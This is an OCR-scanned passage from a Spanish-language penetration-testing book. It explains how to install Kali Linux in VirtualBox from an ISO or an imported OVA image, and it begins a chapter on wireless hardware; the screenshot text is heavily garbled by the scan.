mas lento, pero mucho mas flexible y no tiene que modificar la configuracién del
disco duro.

Para instalar Kali Linux en una maquina virtual hay dos opciones:

Con el archivo ISO de Kali Linux, de 32 bits o de 64 bits, descargable desde
https://www.kali.org/downloads/

Utilizar las imdgenes predisefiadas para VirtualBox, VMware o
Hyper-V descargadas desde https://www.offensive-security.com/
kali-linux-vmware-arm-image-download/

Es interesante notar que Kali Linux también se puede instalar en dispositivos
ARM, como Raspberry Piy similares.

El resto de este capitulo se refiere a la instalacién y configuracién de Kali Linux
en una maquina virtual, un proceso que es muy similar a instalarlo en el disco
duro directamente.

i 212 Instalar una maquina virtual

VirtualBox es un software para crear maquinas virtuales. Una maquina virtual
(MV) es una simulacién de un sistema operativo dentro de un computador, pero
separado del sistema operativo que tiene precargado. Si el equipo tiene instalado
el sistema operativo Windows, se puede instalar una maquina virtual de Linux
sobre el Windows.

ﬁ? VirtualBox

Para crear una nueva maquina virtual e instalar Kali Linux en ella, debe utilizar un
software de virtualizacion. En este libro, se utiliza Oracle VirtualBox, que es un
software de virtualizacién gratuito y de codigo abierto disponible para diversas
plataformas, como Windows, Linux, Mac OS X vy Solaris.
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En este ejemplo, se descargan los componentes necesarios para ejecutar Kali
Linux en VirtualBox, un entorno de maquina virtual que puede ejecutarse sobre
servidores Windows, Mac OSX, Linux o Solaris.

Para esto debe realizar los siguientes pasos:

1. Descargar e instalar VirtualBox (ver Anexo 1).
2. Descargar Kali Linux.

3. Crear una maquina virtual.

4. Instalar Kali Linux en la maquina virtual.

2.2 Instalar Kali Linux en una maquina virtual nueva

En el sitio oficial de Kali Linux se publican imagenes recientes de Kali Linux dos o
tres veces por afio como resultado de correcciones acumulativas, actualizaciones
de seguridad importantes, actualizaciones del instalador, etc.

1221 Descarga de una imagen I1SO de Kali Linux

Para descargar Linux 2018.1 siga lo siguientes pasos:

1. Vaya a la direccién https://kali.org de la pagina oficial.
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3. Aparecen las opciones mostradas en la siguiente figura:

| ‘ Kalf Linus 64 Bit | | Terrant .86 018.2 567877e2edTh2efcd0L0BEE 2dadedlde 254 3d5I567sbibedbbTar A2 fasbcaf

HTTE | Torrent | BoGM 018.2 | 5541"—'223[2[:B?d59?S?23ﬁ3lDEE3EEk7éa:iaf-'-'a3§i\sbt\r_acdb:3561ﬁfEE!dlﬂ.TT'Sé |

| Latest Kali Linux News and Tutorials ‘ #all Linux Light

&4 Bit

‘ Kall Linux E17
&4 Bit

HTTP | Torrent P} 2010.2 beBaBiBc4s1852eb54708875E5 670382 ¥E5:

35c3c23052a0k00807b4r 302 S [

‘ Kali Linux Lxde
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que depende de la que tenga su equipo anfitrion. El tamafio minimo es 512
MB, pero se recomienda elegir al menos 1024 MB para tener un rendi-
miento razonable.

{ 5. Se descarga en su computador un archivo de 2.9 GB. ‘

Tamatie |

‘ Marmbre"

kali=linux-2018. 1-amd&s {3
#8) SQLEXPRADY_véd_ESH

\ El archivo descargado es una imagen ISO de instalacién de Kali Linux por lo que
! debera crear una maquina virtual vacia vy, sobre ella, realizar la instalacion usando || & Crear maquina virtuz
este archivo como fuente. ‘

S SESe

Tamano de memoria |

Seleccionz la cantidad de memoriz (RAM) en megabytes a ser
reservada para la maquing virtual,

El tamafio de memorla recomendado es 1024 MB.
.. T 1025 5] Me

Para crear una nueva maqguina virtual (MV), siga estos pasos: | ame s144ME

I 222 Creacion de una nueva maquina virtual

=

e

1. Haga clic en el botén Nueva en el menu de la barra de herramientas y comen- §
zara el Asistente de instalacion. l. |

e

T | ;;
1 il Y u : & Ve At B = S1E S b N L = i
— [ |Ar:hwn Méguine  Ayuds 1 4
| e I ] P P N S0 st st
8l ueva - Configuracdn  Descartar: Trican, Hettamentss de miquna | Herramientas giobales |‘:

4. A continuacion, en la seccidn Disco duro, seleccione Crear un nueve disco
duro virtual ahora para iniciar la instalacion.

: IBienvenido a VirtualBox!

| | L= parte [zowerds de esta ventana confiens |a lista de
| miquinas virusles y grupos de maquinas virtusles de su
! compuladars, Esta lists 2sta vasis porque tadavia no ha
cresda ninguna méguna virtual,
|
|

’ T %

f

| | Para craar unk nueva miguina virtual pregions & bolén
Nueva en g barra d= herramientas printipal ubicada enla
parte supssior de |s ventsns,

Puigde presionar |a teds F1pars obterer ayuds o visitsr
‘ %000 para mas infarmadén v las dltimas

| novedades. © Crear magquina virtual

|

Disco dure

5i desea puede agregar un disco duro virtual a la nueva maauina.
Puzde crear un nuevo archive de disco dure o sslecdonar uno de la

2. Enlapestafa Crearmaquinavirtual, [ x| |
f 5 .

asigne un nombre reconocible a la
maguina virtual (por si instala varias
méaguinas virtuales) y seleccione
el tipo de sistema operativo v la
versién gue, en su caso, son Linux
y Debian respectivamente (la arqui-
tectura, 32 o 64 bits, depende de
suU equipa).

W

En el paso siguiente Tamafio de
memoria, asigne la cantidad de
memoria RAM dedicada a la MV,

Crear maquina virtual

Nombre y sistema operativo

Seleccione un nambre descriptive para la nueva maquina virtual y
selzccione el tipo de sistema operative que tiene intencidn de instalar
en ella. El nombre que selecrione serd usado por VirtualBox para
identificar esta méquine,

Mombre: |K_al} —}
o (RIS T e ] S
Versién: | Debian (54-bit) T ek

lista o de otra ubicacin usando &l icono de la carpeta,

+ 5i necesita una configuracidn de almacenamiento mas compleja
puede omitir este pasa y hacer los cambios a las preferendas de la
méquina virtual una vez aeada,

El tamafic recomendado del disco duro es 8,00 GB,

() No agregar un disco dura virtual
| {® Crear un disco duro virtual ahora
i () Usar un archiva de disco duro virtua! existente
|
|
|

| Maki Linuot.vds (Normal, 20,00 GE)

oo | o ||

J

5. En Tipo de archivo de disco duro, escoja el tipo de archivo VDI (VirtualBox

Disk Image) para su formato de disco virtual.
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Crear de disco duro virtual

Tipa de archivo de disco duro

Selecione el tipo de archivo que quiere usar para el nueve disca dura virtual, Sino

| necesita usarlo con otro software de virtualizacidn puede dejar esta configuracidn sin
cambiar,

{® VDI (virtualBox Disk Image)

() VHD {Virtual Hard Disk)

| (O vMDK (Vrtusl Machine Disk)

[
|
|
I
\
|
i
|
|
|
i

iModa :xp-erm: Next Cm&!r |

6. En Almacenamiento en unidad de disco duro fisica, seleccione Ia opcion
Reservado dinamicamente, que solo utiliza espacio en el disco fisico a medida

que se llena hasta un maximo tamario fijo.

& Creer de disco duro virtual

Almacenamiento en unidad de disco duro fisica

use (reserva dindmica) o si deberfa ser creado con su tamafio maxima {tamafio fijo).

Un archiva de disco duro reservado dinamicamente solo usara espacio en su disco
fisico & medida que se llena (hasta un méximo tamafio fijo), sin embargo no s= reducicd
de nuevo auteméticamente cuande el espacio en & se libere,

{
|
{
|
|
|
|
|
|
‘ Seleccione si el nuevo archivo de unidad de disco dure virtual deberia Crecer segun se
1
i
| Un archive de disco duro de tamaiio fijo pusde tomar mas tiempo para su creacidn en
[ algunos sistemas, pera normalmente es mas rapide al usarlo,

| @ Reservads dindmicaments

i () Tamado fijo

l Next | Cance_lar |

7. Establezca la ubicacion del archivo de disco virtual Yy su tamafio maximo en
la seccidn Ubicacién del archivo y tamafo. Por defecto, es 8 Gb, pero es
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conveniente tener un poco méas de 20 GB para las practicas que se realizaran.

Luego, haga clic en el botdn Crear.

& Crearde disco duro virtual

Ubicacion del archiveo v tamario

Escriba el nombre del archivo de unidad de disco duro virtual en el campo debajo o haga
clic en el icono de carpeta para selecdionar una carpeta diferents donde crear el archive,

[kt 2013 | 3

Seleccione el tamafia de disco duro virtual =n megabytes, Este tamafic es el limits para &l
archivo de datos que una maquina virtual podré almacenar en el disco duro,

[ | 20|00 G

4,00 MB 20078

o~ -

LU oA

{a::hivn Maqui_na ZAyuda R

j«‘} Cak i | e ad ":v‘

lm;m, g mauing i

|| iBienvenido 2 VirtualBox! 1
f La parteizauerda de ests vantzna contizne e ista de e
| mdguinas virtusles v grupes de méquinas virtuales de sy ¥

computadera,

| Musva  Configuractn  Descarise Tnicar
.\t.i;". 2 Sl

1 | Lsparte derechs de esta ventana representa un conjunto

] | deheiramientas que estan schualmente shiertas (o pusden

4 aer ablertas] para la maguing virtual actual, Para una fists

{ de herramienias disponibies comprusche el meny

i coraspondiente &n s parte deracha de |s bama de

" | herramintas fmchaimncademhparhmpmrdela p
] ventans Ests llsta sers extandids con mueyas herramisntss '
en verglones futuras,

il
f Pueds presionar | teda F1 pars obtensr ayuda
| Instanténes o wisitar oo ol .00y Dara mis
Infermacién ¥ navedades,

‘ || Detalles

Herramiznta para chserver los detales de s maquina virtus! (V). Reflefa grupos de
|| propiadades para la MV el=gids v parmite aperaciones bisicas en certas propiededat
| | l {como los dispasitivos de almacenamienta de la maguina).

e e R T e T s e

(5]

| s S S Y S e e —

1

W

~ i
|}

Herramientas giobales |

d

ST

T

A estas alturas, Ia maguina virtual ya esta creada, y est3 listo para instalar el
sistema operativo Kali Linux en ella. Para ello, siga los siguientes pasos:
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1. Seleccione la maquina virtual recién creada de Kali Linux en e.! panel lzqm_erdo (0 Sedoemmitimdedoniationthnl
del Administrador de Oracle VM VirtualBox v, a continuacién, haga clic en ;
- e . . i T "’ s Este equipgo » Descargas v @ Buscar en Descargss 2
el botén Configuracién en el mend de la barra de herramientas v, luego,
- Organizar » Mueva carpeta fiez = "N 0
en Almacenamiento. !
[0 Este equipo A Nombre Fecha de modifica,, Tipo
2. Haga clic en el icono Agregar Unidad Optica (el CD con un sigho més de color T kali-linuoe-2017.3-amais4 Carpits
verde) ubicado a la derecha de Controlador IDE. %} Documentos Y- Brefight-2017,3-amds Carpets
Bl Escritorio keali-linux-light-2017.3-i326 Carpeta
T — SNSRI — ) Ima » 9600.17050. WINBLUE_REFRESH, 140317-1640_XE4FRE_S... Bowerlsd
. I {2} Kali - Configuracién T X I = Mf‘glenﬂ TN U W RS TS -
— e | i 1 kall-linux-2012,1-amedé4 Powerlsd
@ General IAhlacenamiento 1l @ Objetos 3D -
G e P e R Y [P DA o U TRV T | s
i Conl for s 1D g Mombre: ‘s Disco local (C)
(=] Pantalla 2 Uik g e —I datos (D)
- L (=) vacio \ Tipo: |PIIX4 o - - ] *
;ﬁ Almacenamiente a Controlador: SATA [7] sar cache de 1/0 anfitrién < Disco local (F:)
{9 audio B Kaiva e Red v < 5
' , o S AN
@ Red { Mombre! | kafi-linux-2018,1-amd&d v| | Todas fos archivos d discos é¢ - |
J @ Puertos serie mm i F-a-n:.ela.r 3l

& use
L T — 5. En la ventana Configuracion, se muestra la imagen como un Dispositivo
de almacenamiento.

Interfaz de usuario

|
!
i
|

! o @ Bo {3 kali “prueba - Configuracion ? X g
[ e e Sgpely T SR O ) ey T 3 |
| Cancelar Q General ‘LAIITlacenamlento ‘ i
S e S I L LY Ly SO S S TE PRRRE IR I D T gy 2= = T e e b IR
; " ) _ Sistema Oispostivos de imacenamiento ———— | Awbutos |
3. En la ventana VirtualBox-Pregunta que aparece, elija Seleccionar disco. B poriate & Controladar; I0E @B Norbre: [IDE | \
e R s - , | © kalidnuc2018 1amds4iso | Tipo: PIXA o
[G VirtualBox - Pregunts ? X t [ #\snacenamisnto I @ vade ] Usar cache de 1/0 anfitridn J
@™,  Estdapunto de sgregar una nusva unidad ! w fudie 8 Bkl i
L éptica al controlador IDE. | @ Red kali “prueba.vdi

<Deses seleccionar un disco dptica virtual a
poner en Ia unidad o desea dejarla vads
par ahaora?

v | de] | Gl

i
!

i

@ Puertos serie !
& uss i
i

|

|

|

ﬁ Carpetas compartidas

4. Busque en su ordenador el archivo de la imagen ISO que descargd anterior- 3] intertaz de usuario

mente y haga clic en Abrir. b
P 2eB@E

[ ] | o

6. Ahora, inicie la méaquina virtual haciendo clic en el botdn Iniciar en el mend
de la barra de herramientas. La MV arranca desde la ISO vy, en el menu de
arrangue Boot menti, elija una instalacién grafica, es decir, Graphical install.
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il Koli [Comiende] - Gracle VM VirtuslBox

| Archivo  Maquina  Ver Entrada Dispositivos  Ayuds

i1
hical install
Install with speech synthesi

pduanced options

'l W O (@ o D

7. Siga los pasos del asistente de instalacion'y, en Select a language, seleccione
el idioma (por defecto es el inglés). En este caso, elija Espaniol.

ﬁ Kali [Cortiende] - Oracle VIV VirtuaiBox

Archivo  Maguine  Ver Entrads  Dispositvos  Ayuds

)
Select alanguage

Choose the language to be used for the installation process, The selected language will also be the
l default language for the installad system.
i

L L e
| Portuguese - Portugués ‘
| Portuguese (Brazil) - Portugués do Brasil 1.
| Punjabl (Gurmukhl) - T H
i | i Romanian - Roméana |1
! iﬂunslan - Pyccnit 1 ‘
| !serhian (Cyrillic) - Cpnckn |
| ‘ Sinhala - Bomm I 1 |
| Slovak - Slovengina |
| Slovenian - Slovenstina i
I
swedish - Svenska |
|| Tagalog - Tagalog _!.
Tajik = Touwskh |
| Tamil - bl 24
|,Te|uuu Lo 3 A (. I e e e e . - 42 [
"Screenshot | 6o Back | ‘_Contlnue
: ) 2121 i 1R () (53 (8] CTRL DERECHA

8. Elija

| Republica Dominicana

f

10. En Configure el teclado, elija la distribucién del teclado que utilizara.

9. En Seleccione su ubicacién, elija el pais donde se encuentra ubicado.

o e e e
|
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Continuar la instalacion con el idioma Espafiol seleccionado.

Select a language

. Latraduccion del instalador para el idiema seleccionado s;i incompleta, i i | ‘

| Existe |a posibilidad de que algunos mensajes se muestren en inglés sirealiza algo mas que una
instalacién por omision,

| Se le recomienda que escoja otro idioma o interrumpa Iz instalaclén a no ser que entienda lo suficiente
el idioma alternativo.

JDeses continuar la instalacidn en el idioma seleccionador I
1

| © Ne
@
[
|
|
|
i
| t
e e Rt} s =
i l_caq_turarlqpantalla ! I Retroceder ! J Continuar [

| Seleccione su ubleacién

La ubicacion seleccionada aqui se utilizara para fijar su zana horaria y.mmhlén como sjemplo para
| a:u‘:arle a seleccionar la localizaclon de su sistema. Esta localizaclon sera habltualmente el pals donde
| wd, vive, ¢

| Esta es una lista reducida de ubicaclones basada en el idioma que ha seleccionado. Escofa «otros si su
ubicacion no esta en la lista.

Pals, terrftorie o draa;

{ | Espafia f."I i
! Estados Unidos Il

| | Guatemala B
{ ‘ Honduras | | |
|| México

Panama

‘ Paraguay

Puerto Rico

i Uruguay

M

\ C_a_pturarla pant_a_lig I | Retroceder | [ Continuar —I
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| Configure el teclado

Mapa de teclado a usar:
canares oL 5 Rl g ' =
Kazajo
ijemer
| | Kirghize
Coreano
| Kurde (variante F)
i Kurdo (variante Q}
| Laoslano

Lituano

Macedonio
: | Malayalamo
| Mepalés
;' 1 Sami septentrional

I ‘Norueqn
| |Persa

|
|
| =R SIS A s L ==
| ‘ Capturar la pantalla | | Retroceder | [ Continuar J
| s kol 3 esdlboriid Do SR el ot

[
|4-€

|Leton I } ‘
|

11. En el siguiente paso Configurar la red, indigue el nombre de la maguina virtual.
Luego podré cambiarlo en la opcién hostname. En este ejemplo, se ha intro-
ducido «Kali 2018» como el nombre de la maquina.

Configurar la red

- Par favor, Introduzca el nombre de la maquina.

|
El nombre de maquina es una sola palabra que identifica el sistema en la red, Consulte al administrador
de red si no sabe qué nombre deberia tener. 5i esta configurando una raed doméstica puede inventarse
este nombre,

| Nombre de la maguina:
I (kalizo18
|
)
|

| capturar la pantalla |

[ Retroceder | Continuar |

|
i

12.Si se va a conectar con un dominio introduzcalo ahora. De lo contrario, déjelo
en blanco.

13. En Configurar usuarios y contraseifias, se le solicita una contrasefa para el
superusuario (root). Esta no debe olvidarse, va que la cuenta root es |3 que
tiene mas privilegios en el sistema; es decir, tiene los derechos administrativos

completos. Puede ser tan simple como «123», en este ejemplo se escribe

«Seguridad2018». Debe escribirla dos veces. Haga clic en Continuar.

Capitulo 2
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Configurar la red

El nombre de dominic es la parte de su direccion de Internet a la derecha del nombre de sistema,
Habitualmente es algo que termina por .com, .net, .edu, o .org. Puede inventarselo sl esta instalando
una red doméstica, pero asegurese de utilizar el mismo nombre de dominia en todos sus ordenadaores,

| Nombre de dominia:

| | captum-;' la puntﬂa | '__)Rntro;der | [ Continuar I

|
84
f

Configurar usuarios y contrasefias

Necesits definir una contrasefia para el superusuario (<root=), la cuenta de administracién del sistema.
Podria tener graves consecuenclas que un usuario malicioso o un usuario sin la debida cualificaclén
tuviera acceso a la cuenta del administrador del sistems, asi que debe tener culdado y elegir un la
| contrasefia para el superusuario que no sea fadl de adivinar. No deberia ser una palabra que se
encuentre en el diccionarlo, o una palabra que pueda asoclarse faciimente con usted. |

Una buena contrasefa debe contener una mezcla de letras, nameros y signos de puntuacién, y debe
cambiarse regularmente,

La contrasefia del usuario <root» (administrader) no deheria estar en blanco. S| deja este valor en
| blanco, entonces se deshabilitara |a cuenta de root creara una cuenta de usuario a la que se le daran
permisos para convertirse en usuario administrador utillzando 1a orden «sudow,

Tenga en cuenta que no podra ver la contrasefia mientras la introduce.
| Clave del superusuario:

et G i

[sequridadao1s
¥ Mostrar la contrasefa en claro

Por favor, Introduzca la misma contrasefia de superusuario de nueve para verificar que la intradujo
correctamente.

Wuelva a introducir la contrasenia para su verificacidn:

[sessesesssessl
I_) Maostrar la contrasefia en claro

| Capturar la pantalla |

__I-\é;;;deri 1 Continuar

P e e A S e R e = OSSN . N B 7 TN D Y
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14. Luego, en el paso Particionado de discos, tiene gue elegir el método de
particionamiento del disco. Puede elegir entre el método guiado (utilizando
tres opciones diferentes) o el método manual si desea particionar el disco. En
su caso, seleccione Guiado - ufilizar todo el disco, que usara todo el disco
virtual asociado con la VM.

| Particionado de discos

Se le preguntara qu disce a utllizar si elige particlonado guiado para un disco completo.
| | Metodo de particionado;

} Guiado - utllizar el disco completo y configurar LVM

i Guiado - utllizar todo el disco y configurar LVM dfrado
Manual

i

|
|
i i

e caplurarla pantalla | i’  Retroceder 77\ | Continuar |
I ik izt Lo OO ey )

15. A continuacion, el asistente de instalacién le pregunta qué disco debe usar
para la instalacion del sistema. Como en su caso es Unico, deje la opcion selec-
cionada por defecto y haga clic en Continuar.

Particlonado de discos i

Tenga =n cuenia que ss borraran todos los datos en el disco que ha seleccionado, Este borrado no se
| realizara hasta que confirma gue realmente quiere hacer los cambios,

Elja disca a perticiongr:

[ SCS13 (0, ll o (sdad - B0 Gl Hlﬂa VBOX HARDDISK

| capturar la pantalla | Retroceder J | Continuar | |
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16. En la siguiente ventana, se le pregunta si desea utilizar una Unica particion
o crear particiones independientes para puntos de montaje diferentes (por
ejemplo, /home, /var, /tmp). Por sencillez, elija la primera opcion Todos los
ficheros en una particién. Si desea mayor seguridad, elija la tercera opcion; si
dispone de una red con usuarios y desea tener sus carpetas en otra particién
por un tema de almacenamiento, puede seleccionar la segunda alternativa.

| Particionada de discos

Seleccionado para particionan:

| 5€5131(0,0,0) (sda) - ATA VBOX HARDDISK: 8.6 GB

| | Este dinen puede particionarse sigulendo uno o varios de los diferentes esquemas disponibles. 5i no
| esthseguro, escoja el primero de ellos. i

Esquema de partcionado:;

|
[ tadas los ficheras eh una particon {rocomendads para nivatos) R | ‘
 Separar la particion /home 1
Separar particiones thome, /vary ftmp |

|

i

i F@Rﬁﬁgﬁéﬁi \-n'l;ea);ea;rri“"ﬁ [:'_' Continuar | ‘

17. Se muestra las tablas de particiones establecidas; si esta de acuerdo, elija
Finalizar el particionado y escribir los cambios en el disco para que se realicen
los cambios.

Partiddenado de discos

Ewhusmmwmmu’s!ai it ¥ punios de tap tiene il
particion para modificar sue valores (sistema da ficheros, punms &mmtqa ete,), el espacia mms oaErm aﬂm&r wna |
4 parn:mn rueva o un dispositizo pera mldsinzarhi nme dupsﬂl:runi.s 17

Particlonada qulado |
Configurar RAID por software |
| | Configurar ¢l Gestor de Volumenes Logices (LVM) ;
| | configurar los volumenes cifrados

i i Configurar los volimenes |55 |
|
|

i i
= SCSI1(0,0,00 (sda) - 8,6 GB ATA VBOX HARDDISK
= #1  primaria 8.1 GB f exta i
= #5  lagica 534,08 MB f intercamblo intercambic

! ‘ Deshacer los cambios realizados a las particionss |

Finatizar ¢l particionado y sscribir Jos cambios «n el diveo i

. | capturartapantalla || Ayuda K, ' Retraceder  |{ continuar |
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18. Antes de crear las particiones, elija Si para confirmar y espere unos minutos.

Particionado de discos ‘

Se escribiran en los discos todos los cambios indicados a continuacion si continga. Si no lo hace podra ‘
hacer cambios manualmente.

Se han modificade las tablas de particienes de los siguientes dispositivos:
8CS13 (0,0,0) (sda)

| Se formatearan las sigulentes particlones:
particlén #1 de SCS13(0,0,0) (sda) come extd
particién #5 de SC513 (0,0, 0) (sda) como intercamblo

| | Jossss escribir os cambios en los discos?
) No

antimﬂ I |

]

i | Fagtimas paniaiia] 1

J 19. Después de que todos los datos se hayan copiado en el disco, la ventana
Configurar el gestor de paquetes le pregunta si quiere utilizar una réplica en
red para instalar el software que no estd incluido en la ISO de instalacion o

actualizar el software instalado. Elija que No.

| Configurar el gestor de pagustes |
|

Puede utilizar una réplica en red para complementar los programas incluidos en el CD-ROM. Esto también
puede hacer que tenga a su disposidén nueyas i de los prog 3

vl

|

i

tDesea utilizar una réplica en red? |

@ o]

|
\
|
‘ |
1| il

{
|
\
|
|

| Capturar la pantalla | | Retroceder |

Contipuar 1
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20. Entonces, se instala el cargador de arranque GRUB.

Instalar el cargador de arranque GRUB en un disco duro |

| Instalando el cargador de arranque GAUB

Configurando grubpe (amds4)

21. La ventana Instalar el cargador de arranque GRUB en un disco duro le
pregunta si se debe instalar el GRUB en el registro de arranque maestro
(MBR) del disco virtual. Elija Si.

| Instalar el cargador de arranque GRUB en un disco duro

Parece que esta instalacion es el Unico sistema aperativo en el ordenador S esto es asl, puede instalar
sin rlesges el cargador de arranque GRUB en el registro principal de arranque del primer disco duro.

Aviso: Si el instalador no pudo detectar otro sistema operativo instalado en el sistema, la modificacion
del registro principal de arranque hars que ese sistema operativo no puede arrancarse. Sin embargo,
podra configurar GRUB manualmente mas adelante para arrancarlo.

|

‘ ! (Desea instaiar el cargador de arangue GAUA en el registra principal de arranguer
‘ )

|

|

'@ [sil

| Capturar la pantalla | "~ Retroceder I Continuar | |
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22. En la siguiente pantalla, elija la segunda opcidn.

Instalar el cargador de arranque GRUB en un disco duro

Ahora debe conflgurar el sistema recién instalado para que sea arrancable, instalando para ello el
cargador GAUB en un dispositive del que se pueda arrancar. La forma habitual de hacerlo es instalar

| GRUB en el registro principal de arrangue («master boot record-) del primer disco duro. 5l la prefiere,

| | puede instalar GRUE en cualquler otro punto del disco dure, en otra disco dure, o Incluso en un disquete.
| | Dispesitvo donde instalar e cargador de alrangue:

ducir el dispesitivo manual te

i
,'dlew‘il].] (ala VRO _HARDDISK VH1 1a27b20-1 J00bed7)
|
|
|
|
|

Cantinuar 8|

Retroceder | 1

: | capturar la pantalla |

23, Un paso mas y la instalacion estara finalizada. jAhora tiene un nuevo sistema
de Kali Linux en su MV!

Terminar la instalacién i

instalacion complstada

@ La instalacién se ha completado. Ahora podra arrancar el nuevo sistema. Asegirese de extraer el
medlo de Instalacion para que el sistema arranque del disco en lugar de reiniclar la instalacién. |

)Ce;ia—turar la pantalla | | Retroceder

J 1_. Continuar E

24. Finalmente, se elimina el archivo ISO de instalacion de la unidad virtual de
CD/DVD.
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| Terminar la instalacion

‘ ; _Finalizando la instalicl

Ejecutando remove-live packages..,

25. Aparece la pantalla de inicio.

G BRUB. wers L6

pkali GNU/L1nux

Opc lonesavanzades mard, Al GRUAL inue

CORRETS
185

23 Importar una maquina
virtual de Kali Linux

Tambiér_i puede descargar la imagen OVA de una maquina virtual precargada con la
Instalacion de Kali Linux para VirtualBox (también para VMware o para Hyper-V).
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B 231 Descarga de una imagen precargada (OVA) de Kali Linux

Siga los siguientes pasos:

1. Vaya a https://www.offensive-security.com/ali-linux-vm-vmware-virtualbox-
hyperv-image-download/ vy busque las imdgenes precargadas de VirtualBox.
Debe ver una pantalla similar a la siguiente:

' Download Kali Linux VMware, VirtualBox and Hyper-V Images \

Want to download Kall Linux custom images? We have gengrat

y. Note

future

d on this page. Further:

technical support for our contrib Support for Kall ¢

| the Kall Linux Community page. Th magas have

Kail Linux VMware lmages #ali Linux VirtualBox Images Kall Linux Hyper-V Images
: \
|
Image Name | Torrent | Size | Version SHA2565um |
| |

B — — i
||| Kali-Linux VBox 64-Bit [OVA] J Torrent | 336 | 2018.1 | £oEc729034sb505e0145055 340 ToeT 17 47057460 e00837 206 10805755785 ed |
| e R 1l
| .1
Kali-Linux VBox 32-8lt [OVA] | Tomsnt | 3,4G | 2018.1 E50aDT05GE7 58608037021 2283210202347 39630007 1957148201908 5014280 |

_[Notal —
, Hay dos imagenes de 32 bits disponibles y una de 64 bits. De las dos imagenes de 32

bits, la designada como Kali Linux 32 bits Vbhox PAE sefala que esta version ejecuta un
kermel con la mejora de la memoria de Extension de direcciones fisicas habilitada, que
puede permitir que la arquitectura de 32 bits haga referencia a cantidades de memoria
fisica mayores de 4 GB. Cualquiera de estos funcionars para todos les ejercicios de
este libro.

2. Descargue la imagen para 64-bit (salvo que su equipo tenga arquitectura de
32 bits). El archivo descargado tendra una extension .ova (Open Virtualization
Format Archive) de 3.3 GB de tamafio.

Membre
o feeli-linue-2018,1-vbox-amdéd
1 officeserver

ipo

Ul Vinustization Format Ar,, 2452

5 Powerl$Q File

2. Elija el archivo .ova que ha descargado v elija Next.
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1. Ahora importe la nueva imagen en VirtualBox. Navegue a Archivo > Importar
servicio virtualizado... desde la aplicacién VirtualBox.

(W8 Oracle VM VinualBox Administrador _'I |
Archive Méquina  Ayuda . |
Preferencias.., Ctrl=G ‘

Exportar servicia virtualizado.., Ctri-E

Administrador de medios virtuales.,. Ctrl+D
Administrador de red de anfitridn... Chrl+W
Administrador de operaciones de red...
Comprobar actualizaciones...

Reiniciar todas las advertencias

Salir Ctrl+

——— — e

14 PRKO@E 58 %

Dado que esta importando desde un archivo .ova, el desarrollador del software
ha elegido la configuracién que es éptima para la ejecucion de la maguina
virtual y las preferencias de servicio. Esto le ahorra el trabajo de deter-
minar los recursos virtuales para poder instalar y ejecutar la distribucion Kali
Linux correctamente.

——

7 % ‘

Importar servicio virtualizado

Servicio a importar

|
VirtualBox actualimente soporta importar servicles quardados en Open Virtualization Format
{OVF), Para cantinuar, seleccicne & archive a impartar abajo,

[E:vJser:‘Jqu\Downlcadg\kaIHhux—.‘uJ 13, 1-vhox-amdé4.oval l a
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3. Enlaventana Importar servicio virtualizado, haga clic en el botdn Importar. 6. Elija la opcidn predeterminada Kali GNU/Linux desde el iniciador GRUB.

Una vez desplegada, esta imagen requerird un minimo de 10 GB de espacio |
en disco y 2 GB de memoria RAM fisica dedicada para ejecutar la maquina
virtual. La imagen de Kali 2018.1 funciona con un disco virtual configurado |
para 30 GB; sin embargo, solo usaré la cantidad de espacio de disco que se |
vaya asignado conforme su trabajo avance. Esta instalacion, después de una
importacion exitosa, ocupa 9.78 GB del disco duro. ‘

GNUBRUB wersion 2.62-2

cedTiptions for Kall GNU/Linus

r
}"' Impertar servicio virtualizade

Preferencias de servicio

Estas son las méquinas virtuales contenidas en ef servido y las preferencias sugeridas de
Izs mdquinas virtuales impartadas de VirtualBox. Puede cambiar slgunas de las propiedades

| mastradas hadende doble dic en los elemenes v deshabilitar otras usanda las casiias de
| abajo.

*@ URL ﬁeFvendeer_ P;nps.‘/..’www,of'fensive-secu... g k
- s o = 3 Tl T |
: E . u sy oy i Lighte Brtry : FH.: »-?ln_llirm||-3'lzii:alf'_l in ‘€s.
j (=] Descripcién Kali Ralling (2018.1) x64..,
; ; E Tipo de 50 invitado i@ Debian (64-bit 7. En Username (nombre de usuario), escriba root (la opcién predeterminada) y
| CPU 2 .
‘ haga clic en Next.
| | ai RAM 2042 MB
[ @ pvo
| | 5 comonsoruse o ‘
1

[ Reinicializar la direccién MAC de todas las tarjetas de red
Serviclo virtualizade ne firmado

Restaurar valores predeterminados | Cancslar |

- i - rood

4. Luego, espere a que se instale la imagen virtual:

'ﬁ Importands servicio virtualizade .. Importing appliance 'C\Users\luis\Downlcads\ k...
|

.
1

Imparting virtual disk imaga 'Kall-Linux-2013. 1-vbox-amds4-disk00 L ymdk' .., 2/3)

| (&; & L X
1" - i
| ~ Tiempo restante; 18 minutos

|
i
]
|

5. Ahora, puede iniciar su imagen de [ OrcleVMVitualBoxAdministrader |
VirtualBox desplegada recientemente. Eljja | #™e Maauine  Ayuda .

|
Ty 8

; ; . . ' o PR 9 B Yo
la maguina virtual v haga clic en el botdn i‘ia} g e ig In
Iniciar 5 Inicio normal  Mueva Configuracién Cescarias  Inidar }

* ‘ m.\ Kali ‘“

{ 4@ Apaged . . - . . .
ot ik St AN el iEso concluye el despliegue de la maquina virtual en VirtualBox!
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En este capitulo, se explicd cémo crear una maquina virtual con Virtual Box y
como instalar Kali Linux de dos formas distintas: en una maquina virtual nueva y
mediante la importacion de una maquina virtual ya creada. Terminada la instala-
cién, se procedi¢ a actualizar el repositorio de Kali Linux.

En el siguiente capitulo, se analizaran las especificaciones de los dispositivos de
hardware necesarios para realizar las pruebas de penetracién inaldambrica. En
particular, la instalacién y configuracion de un Access Point (AP).

_— @ :: Actualizar el repositorio de Kali Linux 1

= ORI o Se recomienda actualizar el repositorio apt e instalar actualizaciones en la distri-
bucién con los siguientes comandos:

#apt-get update
#apt-get upgrade

| Deberfa ver lo siguiente como resultado:

root@kall: ~ o0 e




Capitulo 3

Hardware
inalambrico

Aunque puede estar ansioso por instalar Kali en su portatil y pasar directamente
3 las herramientas, es recomendable que antes pase un tiempo investigando y
validando los dispositivos de hardware que planea usar. Puede ser muy frustrante
comenzar a trabajar en los tutariales y ejercicios de este libro, y ver que el hard-
ware funciona incorrectamente o no admite todas las funciones necesarias para

completar el pentesting.

En este capitulo se analizaran diferentes dispositivos de hardware, como, por
ejemplo: adaptadores inaldmbricos, antenas y otros que le brindan las mejores
posibilidades de éxito. Esto incluye las siguientes secciones:

+ Hardware del laboratorio virtual.

Chipsets y drivers.

« Especificaciones técnicas de un AP.

Adaptadores inaldmbricos.
